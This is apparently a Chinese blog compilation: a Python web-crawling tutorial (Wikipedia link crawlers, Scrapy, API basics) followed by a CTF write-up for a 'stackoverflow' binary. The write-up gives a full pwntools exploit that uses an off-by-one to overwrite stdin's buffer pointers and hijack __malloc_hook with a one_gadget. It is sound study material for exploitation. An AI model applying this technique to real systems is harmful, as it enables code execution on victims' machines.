我们将创建一个项目来实现“维基百科六度分隔理论”的查找方法,要实现从 埃里克· 艾德尔 的词条页面(https://en.wikipedia.org/wiki/Eric_Idle)开始,经过最少的链接点击次数找到 凯文· 贝肯 的词条页面(https://en.wikipedia.org/wiki/Kevin_Bacon

首先进行页面分析:

鼠标移动到某个词条页面上时,对应的 HTML 代码会高亮,由此可以大致锁定词条页面对应的 HTML 标签(<a>),可以用以下代码来收集所有的 <a> 标签:

1
2
3
4
5
6
7
8
9
10
from urllib.request import urlopen
from bs4 import BeautifulSoup

html = urlopen("http://en.wikipedia.org/wiki/Kevin_Bacon")
bsObj = BeautifulSoup(html, "html.parser")

for link in bsObj.findAll("a"):
if 'href' in link.attrs:
print(link.attrs['href'])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
/wiki/Wikipedia:Protection_policy#semi
#mw-head
#searchInput
/wiki/Kevin_Bacon_(disambiguation)
/wiki/File:Kevin_Bacon_SDCC_2014.jpg
/wiki/Philadelphia,_Pennsylvania
/wiki/Kevin_Bacon_filmography
/wiki/Kyra_Sedgwick
/wiki/Sosie_Bacon
#cite_note-1
/wiki/Edmund_Bacon_(architect)
/wiki/Michael_Bacon_(musician)

.................................

//foundation.wikimedia.org/wiki/Terms_of_Use
//foundation.wikimedia.org/wiki/Privacy_policy
//www.wikimediafoundation.org/
https://foundation.wikimedia.org/wiki/Privacy_policy
/wiki/Wikipedia:About
/wiki/Wikipedia:General_disclaimer
//en.wikipedia.org/wiki/Wikipedia:Contact_us
//en.m.wikipedia.org/w/index.php?title=Kevin_Bacon&mobileaction=toggle_view_mobile
https://www.mediawiki.org/wiki/Special:MyLanguage/How_to_contribute
https://stats.wikimedia.org/#/en.wikipedia.org
https://foundation.wikimedia.org/wiki/Cookie_statement
https://wikimediafoundation.org/
https://www.mediawiki.org/

进程已结束,退出代码 0

发现有一些条目不是我们需要的内容(这里只展示部分),现在要近一步对样本进行分析:

首先需要比较“词条链接”和“其他链接”的差异,发现“词条链接”有3个共同点:

  • 它们都在 id 是 bodyContent 的 div 标签里(利用 find 嵌套可以解决)
  • URL 链接不包含分号(用正则解决)
  • URL 链接都以 /wiki/ 开头(用正则解决)

改进爬虫脚本:

1
2
3
4
5
6
7
8
9
10
from urllib.request import urlopen
from bs4 import BeautifulSoup
import re

html = urlopen("http://en.wikipedia.org/wiki/Kevin_Bacon")
bsObj = BeautifulSoup(html, "html.parser")

for link in bsObj.find("div", {"id":"bodyContent"}).findAll("a",href=re.compile("^(/wiki/)((?!:).)*$")):
if 'href' in link.attrs:
print(link.attrs['href'])
1
2
3
4
5
6
7
8
9
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
/wiki/Kevin_Bacon_(disambiguation)
/wiki/Philadelphia,_Pennsylvania
/wiki/Kevin_Bacon_filmography
/wiki/Kyra_Sedgwick
/wiki/Sosie_Bacon
/wiki/Edmund_Bacon_(architect)

.................................

如果你运行代码,就会看到维基百科上 凯文·贝肯 词条里所有指向其他词条的链接,但是现在找到的所有词条链接都是静态的模式,我们需要对其进行修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from urllib.request import urlopen
from bs4 import BeautifulSoup
import time
import random
import re

nowTime=time.time()
random.seed(nowTime)

def getlinks(articleUrl):
html = urlopen("http://en.wikipedia.org"+articleUrl)
bsObj = BeautifulSoup(html,"html.parser")
return bsObj.find("div",{"id":"bodyContent"}).findAll("a",href=re.compile("^(/wiki/)((?!:).)*$"))

links = getlinks("/wiki/Kevin_Bacon")
while len(links) > 0:
newArticle = links[random.randint(0 ,len(links)-1)].attrs["href"]
print(newArticle)
links = getlinks(newArticle)
1
2
3
4
5
6
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
/wiki/Seattle_International_Film_Festival
/wiki/Bernardo_Bertolucci
/wiki/The_Dreamers_(2003_film)
/wiki/Classical_Hollywood
/wiki/Make-Up_Artists_and_Hair_Stylists_Guild_Awards

程序的逻辑就是,先爬取某个词条里所有指向其他词条的链接,然后用随机数再次打开其中一个链接,重复进行此操作

为了完成“维基百科六度分隔理论”,还需要对收集词条链接的数据进行分析,那就是后话了

采集整个网站

遍历整个网站的网络数据是一件费时费力的事情,但是采集它们有许多好处

一个简单的方法就是:从顶级页面开始(比如主页),然后搜索页面上的所有链接,形成列表,再去采集这些链接的每一个页面,然后把在每个页面上找到的链接形成新的列表,重复执行下一轮采集

很明显,这是一个复杂度增长很快的情形,为了避免一个页面被采集两次,链接去重是非常重要的,在代码运行时,把已发现的所有链接都放到一起,并保存在方便查询的列表里,只有“新”链接才会被采集,之后再从页面中搜索其他链接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from urllib.request import urlopen
from bs4 import BeautifulSoup
import re

pages = set()
def getLinks(pageUrl):
global pages
html = urlopen("http://en.wikipedia.org"+pageUrl)
bsObj = BeautifulSoup(html,"html.parser")
for link in bsObj.findAll("a", href=re.compile("^(/wiki/)")):
if 'href' in link.attrs:
if link.attrs['href'] not in pages:
newPage = link.attrs['href']
print(newPage)
pages.add(newPage)
getLinks(newPage)

getLinks("")
1
2
3
4
5
6
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
/wiki/Wikipedia
/wiki/Wikipedia:Protection_policy#semi
/wiki/Wikipedia:Requests_for_page_protection
/wiki/Wikipedia:Requests_for_permissions
/wiki/Wikipedia:Protection_policy#extended

这个爬虫只收集了词条链接的信息,当然也可以改进下,使其可以收集更多信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from urllib.request import urlopen
from bs4 import BeautifulSoup
import re

pages = set()
def getLinks(pageUrl):
global pages
html = urlopen("http://en.wikipedia.org"+pageUrl)
bsObj = BeautifulSoup(html,"html.parser")
try:
print(bsObj.h1.get_text())
print(bsObj.find(id="mw-content-text").findAll("p")[0])
print(bsObj.find(id="ca-edit").find("span").find("a").attrs['href'])
except AttributeError:
print("The page is missing some properties! But don't worry!")

for link in bsObj.findAll("a", href=re.compile("^(/wiki/)")):
if 'href' in link.attrs:
if link.attrs['href'] not in pages:
newPage = link.attrs['href']
print(newPage)
pages.add(newPage)
getLinks(newPage)

getLinks("")

因为数据有点多并且没有什么价值,所以就不展示了

通过互联网采集

就像之前的例子一样,我们后面要建立的网络爬虫也是顺着链接从一个页面跳到另一个页面,描绘出一张网络地图

但是这一次,它们不再忽略外链,而是跟着外链跳转,我们想看看爬虫是不是可以记录我们浏览过的每一个页面上的信息,这将是一个新的挑战

相比我们之前做的单个域名采集,互联网采集要难得多 —— 不同网站的布局迥然不同,这就意味着我们必须在要寻找的信息以及查找方式上都极具灵活性

  • 我要收集哪些数据?这些数据可以通过采集几个已经确定的网站(永远是最简单的做法)完成吗?或者我的爬虫需要发现那些我可能不知道的网站吗?
  • 当我的爬虫到了某个网站,它是立即顺着下一个出站链接跳到一个新网站,还是在网站上呆一会儿,深入采集网站的内容?
  • 有没有我不想采集的一类网站?我对非英文网站的内容感兴趣吗?
  • 如果我的网络爬虫引起了某个网站网管的怀疑,我如何避免法律责任?

先看一个案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from urllib.request import urlopen
from bs4 import BeautifulSoup
import re
import time
import random

pages = set()
nowTime = time.time()
random.seed(nowTime)

def getInternalLinks(bsObj, includeUrl): # 获取页面所有内链的列表
internalLinks = []
for link in bsObj.findAll("a", href=re.compile("^(/|.*"+includeUrl+")")):
if link.attrs['href'] is not None:
if link.attrs['href'] not in internalLinks:
internalLinks.append(link.attrs['href'])
return internalLinks

def getExternalLinks(bsObj, excludeUrl): # 获取页面所有外链的列表
externalLinks = []
for link in bsObj.findAll("a",href=re.compile("^(http|www)((?!"+excludeUrl+").)*$")):
if link.attrs['href'] is not None:
if link.attrs['href'] not in externalLinks:
externalLinks.append(link.attrs['href'])
return externalLinks

def splitAddress(address): # 加工静态链接
addressParts = address.replace("http://", "").split("/")
return addressParts

def getRandomExternalLink(startingPage): # 从内&外链列表中获取随机的外链
html = urlopen(startingPage)
bsObj = BeautifulSoup(html,"html.parser")
externalLinks = getExternalLinks(bsObj, splitAddress(startingPage)[0])
if len(externalLinks) == 0:
internalLinks = getInternalLinks(startingPage)
return getRandomExternalLink(internalLinks[random.randint(0,len(internalLinks)-1)])
else:
return externalLinks[random.randint(0, len(externalLinks)-1)]

def followExternalOnly(startingSite): # 程序开始
externalLink = getRandomExternalLink(startingSite)
print("随机外链是:"+externalLink)
followExternalOnly(externalLink)

followExternalOnly("http://oreilly.com")
1
2
3
4
C:\Users\ywx813\anaconda3\python.exe D:/PythonProject/Crawler/test.py
随机外链是:https://twitter.com/oreillymedia
随机外链是:https://help.twitter.com/using-twitter/twitter-supported-browsers
随机外链是:https://microsoft.com/edge

网站首页上并不能保证一直能发现外链,这时为了能够发现外链,就需要用一种类似前面案例中使用的采集方法,即递归地深入一个网站直到找到一个外链才停止

如果想要收集内&外链,则可以加入以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
allExtLinks = set()
allIntLinks = set()

def getAllExternalLinks(siteUrl):
html = urlopen(siteUrl)
bsObj = BeautifulSoup(html)
internalLinks = getInternalLinks(bsObj,splitAddress(siteUrl)[0])
externalLinks = getExternalLinks(bsObj,splitAddress(siteUrl)[0])
for link in externalLinks:
if link not in allExtLinks:
allExtLinks.add(link)
print(link)
for link in internalLinks:
if link not in allIntLinks:
print("即将获取链接的URL是:"+link)
allIntLinks.add(link)
getAllExternalLinks(link)

getAllExternalLinks("http://oreilly.com")

写代码之前拟个大纲或画个流程图是很好的编程习惯,这么做不仅可以为你后期处理节省很多时间,更重要的是可以防止自己在爬虫变得越来越复杂时乱了分寸

通过Scrapy采集

Scrapy 就是一个帮你大幅度降低网页链接查找和识别工作复杂度的 Python 库,它可以 让你轻松地采集一个或多个域名的信息

首先在命令行输入:

1
$scrapy startproject wikiSpider

系统就会自动帮你创建一个 Scrapy 爬虫模板,Scrapy 的每个 Item(条目)对象表示网站上的一个页面,当然,你可以根据需要定义不同的条目(比如 url、content、header image 等),但是现在我只演示收集每页的 title 字段 (field)

先在你的 items.py 文件中写入以下代码:

1
2
3
4
5
6
7
8
9
10
11
# -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/items.html

from scrapy import Item, Field
class Article(Item):
# define the fields for your item here like:
# name = scrapy.Field()
title = Field()

然后在 spiders 目录中新建一个 articleSpider.py 文件,然后写入以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from scrapy.selector import Selector
from scrapy import Spider
from wikiSpider.items import Article

class ArticleSpider(Spider):
name="article"
allowed_domains = ["en.wikipedia.org"]
start_urls = ["http://en.wikipedia.org/wiki/Main_Page",
"http://en.wikipedia.org/wiki/Python_%28programming_language%29"]

def parse(self, response):
item = Article()
title = response.xpath('//h1/text()')[0].extract()
print("Title is: "+title)
item['title'] = title
return item

最后在 pycharm 的控制台中输入以下命令来执行爬虫:

1
$ scrapy crawl article

PS:API

API 为不同的应用提供了方便友好的接口,不同的开发者用不同的架构,甚至不同的语言编写软件都没问题 —— 因为 API 设计的目的就是要成为一种通用语言,让不同的软件进行信息共享

API 可以通过 HTTP 协议下载文件,和 URL 访问网站获取数据的协议一 样,它几乎可以实现所有在网上干的事情,API 之所以叫 API 而不是叫网站的原因,其实是首先 API 请求使用非常严谨的语法,其次 API 用 JSON 或 XML 格式表示数据,而不是 HTML 格式

API通用规则:方法

和大多数网络数据采集的方式不同,API 用一套非常标准的规则生成数据,而且生成的数据也是按照非常标准的方式组织的

利用 HTTP 从网络服务获取信息有四种方式:

  • GET
    • GET 就是你在浏览器中输入网址浏览网站所做的事情,当你访问某个网站时,就会使用 GET 方法(可以想象成 GET 在说:“喂,网络服务器,请按 照这个网址给我信息”)
  • POST
    • POST 基本就是当你填写表单或提交信息到网络服务器的后端程序时所做的事情,每次当你登录网站的时候,就是通过用户名和(有可能加密的)密码发起一个 POST 请求(如果你用 API 发起一个 POST 请求,相当于说“请把信息保存到你的数据库里”)
  • PUT
    • PUT 请求用来更新一个对象或信息(例如:API 可能会要求用 POST 请求来创建新用户,但是如果你要更新老用户的邮箱地址,就要用 PUT 请求了)
  • DELETE
    • 用于删除一个对象

API通用规则:验证

虽然有些 API 不需要验证操作(就是说任何人都可以使用 API,不需要注册),但是很多新式 API 在使用之前都要求客户验证

通常 API 验证的方法都是用类似令牌(token)的方式调用,每次 API 调用都会把令牌传递到服务器上,这种令牌要么是用户注册的时候分配给用户,要么就是在用户调用的时候才提供,可能是长期固定的值,也可能是频繁变化的,通过服务器对用户名和密码的组合处理后生成

令牌除了在 URL 链接中传递,还会通过请求头里的 cookie 把用户信息传递给服务器

stackoverflow 复现

1
2
3
4
5
6
➜  桌面 ./stackoverflow
leave your name, bro:ywx
worrier ywx
, now begin your challengeWelcome to stackoverflow challenge!!!
it is really easy
please input the size to trigger stackoverflow:
1
2
3
4
5
6
7
8
9
stackoverflow: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.24-9ubuntu2_amd64/ld-2.24.so, for GNU/Linux 2.6.32, BuildID[sha1]=8f56f5f4fdfef79fe7ba6b8b8b042d5ee2b6101b, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/stackoverflow'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: '/home/yhellow/tools/glibc-all-in-one/libs/2.24-9ubuntu2_amd64/'

64位,dynamically,开了NX,开了canary,Full RELRO

1
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release versi

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 leak()
{
char v1[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 canary; // [rsp+68h] [rbp-8h]

canary = __readfsqword(0x28u);
printf("leave your name, bro:");
read_s(v1, 80);
printf("worrier %s, now begin your challenge", v1);
return __readfsqword(0x28u) ^ canary;
}

这个函数没有溢出,就是让我们来 leak libc_base 的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 pwn()
{
int data; // [rsp+8h] [rbp-18h] BYREF
int v2; // [rsp+Ch] [rbp-14h]
void *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &data);
IO_getc(stdin);
v2 = data;
while ( data > 3145728 )
{
puts("too much bytes to do stackoverflow.");
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &data);
IO_getc(stdin);
}
v3 = malloc(0x28uLL);
chunk_list = (__int64)malloc(data + 1);
if ( !chunk_list )
{
printf("Error!");
exit(0);
}
printf("padding and ropchain: ");
read_s((void *)chunk_list, data);
*(_BYTE *)(chunk_list + v2) = 0; // 末尾置空:off-by-one
return 0LL;
}

末尾字节置空,导致 off-by-one

data 的大小不能超过“3145728”,否则重新输入,但是后面却根据“v2”的大小来进行索引置空,也许有用

入侵思路

先获取 libc_base

1
2
3
4
5
6
7
8
9
10
11
pwndbg> stack 50
00:0000│ rsp 0x7fffffffde60 ◂— 0x5000000000
01:00080x7fffffffde68 —▸ 0x7fffffffde90 ◂— 0x3131313131313131 ('11111111')
02:00100x7fffffffde70 ◂— 0x0
03:00180x7fffffffde78 ◂— 0x2711fc69c0f4a500
04:0020│ rbp 0x7fffffffde80 —▸ 0x7fffffffdf00 —▸ 0x7fffffffdf20 —▸ 0x400ae0 ◂— 0x41ff894156415741
05:00280x7fffffffde88 —▸ 0x400a34 ◂— 0xbfc6894890458d48
06:0030│ rsi 0x7fffffffde90 ◂— 0x3131313131313131 ('11111111')
07:00380x7fffffffde98 —▸ 0x7ffff7a8dd0a (_IO_default_xsgetn+634) ◂— 0x554100401f0fffff
08:00400x7fffffffdea0 ◂— 0x0
09:00480x7fffffffdea8 —▸ 0x7ffff7dd2600 (_IO_2_1_stdout_) ◂— 0xfbad2887
1
2
3
4
5
6
7
8
9
10
p.recvuntil('leave your name, bro:')
p.send('1'*8)

p.recvuntil('worrier 11111111')
leak_addr=u64(p.recvuntil(',')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-515410
malloc_hook=libc_base+libc.sym['__malloc_hook']
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))
success('malloc_hook >> '+hex(malloc_hook))

程序有 off-by-one ,但和传统菜单题还不一样,它没有修改模块或者释放模块,只能进行申请操作,并且申请之后的 chunk 只有一次输入机会,此后便不能控制了

我用已知的知识就只能走到这里了(后面的内容涉及到 stdin_任意写)

libc-2.24 版本有一个特点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p *stdin
$1 = {
_flags = -72540021,
_IO_read_ptr = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_read_end = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_read_base = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_write_base = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_write_ptr = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_write_end = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_buf_base = 0x7febfb4bd943 <_IO_2_1_stdin_+131> "\n",
_IO_buf_end = 0x7febfb4bd944 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 16,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7febfb4bf770 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7febfb4bd9a0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
}
1
2
3
4
5
6
7
8
9
10
pwndbg> x/20xg & *stdin
0x7febfb4bd8c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007febfb4bd943
0x7febfb4bd8d0 <_IO_2_1_stdin_+16>: 0x00007febfb4bd943 0x00007febfb4bd943
0x7febfb4bd8e0 <_IO_2_1_stdin_+32>: 0x00007febfb4bd943 0x00007febfb4bd943
/* _IO_write_base _IO_write_ptr */
0x7febfb4bd8f0 <_IO_2_1_stdin_+48>: 0x00007febfb4bd943 0x00007febfb4bd943
/* _IO_write_end _IO_buf_base */
0x7febfb4bd900 <_IO_2_1_stdin_+64>: 0x00007febfb4bd944 0x0000000000000000
/* _IO_buf_end */
0x7febfb4bd910 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000

stdin 结构体中存储 _IO_buf_end 指针内存地址的末尾刚好为 \x00 ,若利用漏洞我们将 _IO_buf_base 末尾写 \x00 ,则会使得 _IO_buf_base 指向 stdin 结构体中存储 _IO_buf_end 指针内存地址,即可利用输入缓冲区覆盖 _IO_buf_end

接下来就是思考怎样才能把“\x00”覆盖到 “_IO_buf_base”

1
2
pwndbg> telescope 0x7ff3a17db010
00:00000x7ff3a17db010 ◂— 0x61616161 /* 'aaaa' */
1
2
3
4
5
6
7
pwndbg> x/20xg & *stdin
0x7ff3a1d9d8c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ff3a1d9d943
0x7ff3a1d9d8d0 <_IO_2_1_stdin_+16>: 0x00007ff3a1d9d943 0x00007ff3a1d9d943
0x7ff3a1d9d8e0 <_IO_2_1_stdin_+32>: 0x00007ff3a1d9d943 0x00007ff3a1d9d943
/* _IO_write_base _IO_write_ptr */
0x7ff3a1d9d8f0 <_IO_2_1_stdin_+48>: 0x00007ff3a1d9d943 0x00007ff3a1d9d943
/* _IO_write_end _IO_buf_base */
1
2
3
4
5
In [7]: 0x7ff3a1d9d8f0+0x8-0x7ff3a17db010
Out[7]: 6039784

In [8]: hex(6039784)
Out[8]: '0x5c28e8'

已知了偏移,就可以写入以下代码:

1
2
3
4
5
p.recvuntil('please input the size to trigger stackoverflow: ')
p.sendline(str(0x5c28e8))
add(0x200000,'aaaa')
p.recvuntil('please input the size to trigger stackoverflow: ')
p.send(p64(malloc_hook+8))
1
2
3
4
5
6
7
8
pwndbg> x/20xg & *stdin
0x7f68f09198c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f68f0919900
0x7f68f09198d0 <_IO_2_1_stdin_+16>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f09198e0 <_IO_2_1_stdin_+32>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f09198f0 <_IO_2_1_stdin_+48>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f0919900 <_IO_2_1_stdin_+64>: 0x00007f68f0919944 0x0000000000000000
/* 把_IO_buf_base尾字节置空以后,其他的字段都置空了(除了_IO_buf_end) */
/* 因为程序用setvbuf关闭了输入输出缓冲区,所以它们4个都是同步的(一样) */
1
2
3
4
5
6
7
8
pwndbg> x/20xg & *stdin
0x7f68f09198c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f68f0919901
0x7f68f09198d0 <_IO_2_1_stdin_+16>: 0x00007f68f0919908 0x00007f68f0919900
/* 注意一下_IO_read_ptr改变了 */
0x7f68f09198e0 <_IO_2_1_stdin_+32>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f09198f0 <_IO_2_1_stdin_+48>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f0919900 <_IO_2_1_stdin_+64>: 0x00007f68f0919af8 0x0000000000000000
/* malloc_hook + 8 已经写入 */

当把 _IO_buf_base 覆盖为 _IO_buf_end 后,从键盘中输入的应该存放在缓冲区的数据,就会覆盖 _IO_buf_base 作为新的缓冲区结束地址,在这里写入 malloc_hook + 8 后,从键盘中输入的数据就会覆盖到 malloc_hook + 8 的位置,进而劫持 malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in range(8):
p.sendline('\x00') # 可以用sendline,也可以用send

payload = p64(malloc_hook + 8) + p64(0)*6
payload += p64(0xFFFFFFFFFFFFFFFF) + p64(0)
payload += p64(libc_base + 3946352) + p64(0xFFFFFFFFFFFFFFFF)
payload += p64(0) + p64(libc_base + 3938720)
payload += p64(0)*3 + p64(0xFFFFFFFF)
payload += p64(0)*2 + p64(libc_base + 3924992)
payload += '\x00'*304
payload += p64(libc_base + 3923648) + p64(0)*2
payload += p64(one_gadget) + p64(realloc)
p.sendline(payload)

刚开始我很不能理解这里循环输入“\x00”的作用

每从输入缓冲区读1个字节数据就将 _IO_read_ptr 加1,当 _IO_read_ptr 等于 _IO_read_end 的时候便会调用 read 读数据到 _IO_buf_base 地址中,而写入 malloc_hook + 8 的时候就导致了 _IO_read_ptr + 8 ,使得条件不成立:

1
2
3
4
5
6
7
8
pwndbg> x/20xg & *stdin
0x7f68f09198c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f68f0919901
0x7f68f09198d0 <_IO_2_1_stdin_+16>: 0x00007f68f0919908 0x00007f68f0919900
/* 注意一下_IO_read_ptr改变了 */
0x7f68f09198e0 <_IO_2_1_stdin_+32>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f09198f0 <_IO_2_1_stdin_+48>: 0x00007f68f0919900 0x00007f68f0919900
0x7f68f0919900 <_IO_2_1_stdin_+64>: 0x00007f68f0919af8 0x0000000000000000
/* malloc_hook + 8 已经写入 */

而循环输入8次“\x00”后:

1
2
3
4
5
6
7
pwndbg> x/20xg & *stdin
0x7f0af67948c0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f0af6794900
0x7f0af67948d0 <_IO_2_1_stdin_+16>: 0x00007f0af6794900 0x00007f0af6794900
0x7f0af67948e0 <_IO_2_1_stdin_+32>: 0x00007f0af6794900 0x00007f0af6794900
0x7f0af67948f0 <_IO_2_1_stdin_+48>: 0x00007f0af6794900 0x00007f0af6794900
0x7f0af6794900 <_IO_2_1_stdin_+64>: 0x00007f0af6794af8 0x0000000000000000
0x7f0af6794910 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000

发现 _IO_read_ptr 减回去了,分析源码得知:执行 fread 时会重置这些指针字段为 _IO_buf_base ,但是它有时不仅没有重置,反而会继续增加,而有时又会进行重置,不知道原因

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import*

p=process('./stackoverflow')
elf=ELF('./stackoverflow')
libc=ELF('./libc-2.24.so')

def add(size,padding):
p.recvuntil('please input the size to trigger stackoverflow: ')
p.sendline(str(size))
p.recvuntil('padding and ropchain: ')
p.send(padding)

#gdb.attach(p)

p.recvuntil('leave your name, bro:')
p.send('1'*8)

p.recvuntil('worrier 11111111')
leak_addr=u64(p.recvuntil(',')[:-1].ljust(8,'\x00'))
libc_base=leak_addr-515410
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))
success('malloc_hook >> '+hex(malloc_hook))
success('realloc >> '+hex(realloc))

p.recvuntil('please input the size to trigger stackoverflow: ')
p.sendline(str(0x5c28e8))
add(0x200000,'aaaa')
p.recvuntil('please input the size to trigger stackoverflow: ')
p.send(p64(malloc_hook+8))

one_gadget_list=[0x45526,0x4557a,0xf0a51,0xf18cb]
one_gadget=one_gadget_list[3]+libc_base

for i in range(8):
p.send('\x00')

payload = p64(malloc_hook + 8) + p64(0)*6
payload += p64(0xFFFFFFFFFFFFFFFF) + p64(0)
payload += p64(libc_base + 3946352) + p64(0xFFFFFFFFFFFFFFFF)
payload += p64(0) + p64(libc_base + 3938720)
payload += p64(0)*3 + p64(0xFFFFFFFF)
payload += p64(0)*2 + p64(libc_base + 3924992)
payload += '\x00'*304
payload += p64(libc_base + 3923648) + p64(0)*2
payload += p64(one_gadget) + p64(realloc)
p.sendline(payload)

p.interactive()

小结:

这道题算是经典的 stdin 任意写了,覆盖 _IO_buf_end 的操作很巧妙但也很巧合(仅限于libc-2.24),通过这题我算是把 stdin 任意写搞明白了,只是最后的操作真的有点迷,希望知道的大佬可以告诉我一下

IO_FILE源码分析:stdin任意写

如果能过伪造这些缓冲区指针,在一定的条件下应该可以完成任意地址的读写

接下来描述这两部分的原理以及给出相应的题目实践,原理介绍部分是基于已经拥有可以伪造IO FILE结构体的缓冲区指针漏洞的基础上进行的,在后续过程假设我们目标写的地址是write_start,写结束地址为write_end,读的目标地址为read_start,读的结束地址为read_end

字段名称 中文描述
_IO_buf_base 输入输出缓冲区基地址
_IO_buf_end 输入输出缓冲区结束地址
_IO_write_base 输出缓冲区基地址
_IO_write_ptr 输出缓冲区已使用的地址
_IO_write_end 输出缓冲区结束地址

简述 fread 的执行过程:

  • 第一部分是 fp->_IO_buf_base 为空的情况,表明此时的FILE结构体中的指针未被初始化,输入缓冲区未建立,则调用 _IO_doallocbuf 去初始化指针,建立输入缓冲区
  • 第二部分是输入缓冲区里有输入并且够用,此时将缓冲区里的数据直接拷贝至目标buff
  • 第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求,则调用 __underflow 调用系统调用读入数据到缓冲区,然后再把数据从缓冲区中复制给用户

假设我们能过控制输入缓冲区指针,使得输入缓冲区指向想要写的地址,那么在第三步调用系统调用读取数据到输入缓冲区的时候,也就会调用系统调用读取数据到我们想要写的地址,从而实现任意地址写的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# define _IO_new_file_underflow _IO_file_underflow

int
_IO_new_file_underflow (fp)
_IO_FILE *fp;
{
_IO_ssize_t count;
#if 0
/* SysV does not make this test; take it out for compatibility */
if (fp->_flags & _IO_EOF_SEEN) /* _flag标志位是否包含_IO_NO_READS */
return (EOF);
#endif

if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL) /* 调用_IO_doallocbuf分配输入缓冲区 */
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}

/* Flush all line buffered files before reading. */
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
_IO_flush_all_linebuffered ();

_IO_switch_to_get_mode (fp);

/* 初始化设置FILE结构体指针,将他们都设置成fp->_IO_buf_base */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
